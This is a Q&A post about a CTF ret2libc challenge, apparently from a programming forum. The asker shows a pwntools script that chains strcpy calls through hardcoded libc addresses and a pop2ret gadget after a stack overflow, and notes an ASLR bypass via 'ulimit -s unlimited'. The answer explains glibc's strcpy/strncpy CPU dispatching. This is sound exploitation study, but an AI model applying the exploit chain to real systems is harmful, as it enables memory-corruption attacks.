pythonassemblyx86glibcexploit

ret2libc strcpy not complete


I am trying to solve a CTF challenge in which I need to use ret2libc. The problem is that when I try to use strcpy to put some text inside a buffer for latter use, it does not seems to work. The challenge box still vulnerable to "ulimit -s unlimited" so we can fix libc addresses. Here is my current python code:

from pwn import *

def r2lc_print(write_buff,read_buff):
  strcpy_addr=0x55607a40
  pop2ret=0x55643876
  return p32(strcpy_addr)+p32(pop2ret)+p32(write_buff)+p32(read_buff)

buffer_size=172
execlp_addr=0x55643970

c00_str_addr=0x55575d37
a00_str_addr=0x55575d5e
t00_str_addr=0x55575440
write_buff=0x55576858

print cyclic(buffer_size)+r2lc_print(write_buff,c00_str_addr)+r2lc_print(write_buff,a00_str_addr)+r2lc_print(write_buff,t00_str_addr)+"A"*4

I got strcpy address by issuing "p strcpy" inside gdb.

The problem is that strcpy does not seem to be complete, as neither of the instructions or calls do any data movement:

   0x55608320 <strncpy>:        push   ebx
   0x55608321 <strncpy+1>:      call   0x556b5c63
   0x55608326 <strncpy+6>:      add    ebx,0x127cce
   0x5560832c <strncpy+12>:     cmp    DWORD PTR [ebx+0x368c],0x0
   0x55608333 <strncpy+19>:     jne    0x5560833a <strncpy+26>
   0x55608335 <strncpy+21>:     call   0x555a48b0
   0x5560833a <strncpy+26>:     lea    eax,[ebx-0x120e54]
   0x55608340 <strncpy+32>:     test   DWORD PTR [ebx+0x36a0],0x4000000
   0x5560834a <strncpy+42>:     je     0x55608370 <strncpy+80>
   0x5560834c <strncpy+44>:     lea    eax,[ebx-0x117f14]
   0x55608352 <strncpy+50>:     test   DWORD PTR [ebx+0x36bc],0x10
   0x5560835c <strncpy+60>:     jne    0x55608370 <strncpy+80>
   0x5560835e <strncpy+62>:     test   DWORD PTR [ebx+0x369c],0x200
   0x55608368 <strncpy+72>:     je     0x55608370 <strncpy+80>
   0x5560836a <strncpy+74>:     lea    eax,[ebx-0x11f554]
   0x55608370 <strncpy+80>:     pop    ebx
   0x55608371 <strncpy+81>:     ret

Solution

  • I think the code you're seeing at glibc's strncpy symbol does the runtime CPU dispatching during lazy dynamic linking. It looks like the asm in sysdeps/i386/i686/multiarch/strcpy.S. This file is built multiple times (via a #include into other files), with the STRCPY macro defined to strcpy, strncpy, and maybe others.

    I think it just returns a function pointer for the version of str[n]cpy that should be used, and the dynamic linker code that called it stores that pointer into the PLT and then calls it.


    If you compile a tiny C program that calls strncpy twice, you can single-step into the second call and lazy dynamic linking will already be done.

    #include <string.h>
    int main(int argc, char**argv) {
            strncpy(argv[0], argv[1], 5);
            strncpy(argv[1], argv[2], 5);
    }
    

    compile with gcc -m32 -Og foo.c -g.

    In Ubuntu 15.10's libc-2.21.0.so, the PLT jump takes you a function outside of any symbol, according to gdb. (I put set disassembly-flavor intel and layout reg in my ~/.gdbinit to get TUI register and asm "windows".)

      >|0xf7e68fa0      push   ebx                           |
       |0xf7e68fa1      mov    edx,DWORD PTR [esp+0x8]       |
       |0xf7e68fa5      mov    ecx,DWORD PTR [esp+0xc]       |
       |0xf7e68fa9      mov    ebx,DWORD PTR [esp+0x10]      |
       |0xf7e68fad      cmp    ebx,0x8                       |
       |0xf7e68fb0      jbe    0xf7e6ba40                    |
       |0xf7e68fb6      cmp    BYTE PTR [ecx],0x0            |
       |0xf7e68fb9      je     0xf7e6aef0                    |
       |0xf7e68fbf      cmp    BYTE PTR [ecx+0x1],0x0        |
       |0xf7e68fc3      je     0xf7e6af10                    |
    

    ... eventually a movaps / pcmpeqb / pmovmskb loop. This function is the real strncpy implementation, and doesn't dispatch to anything else.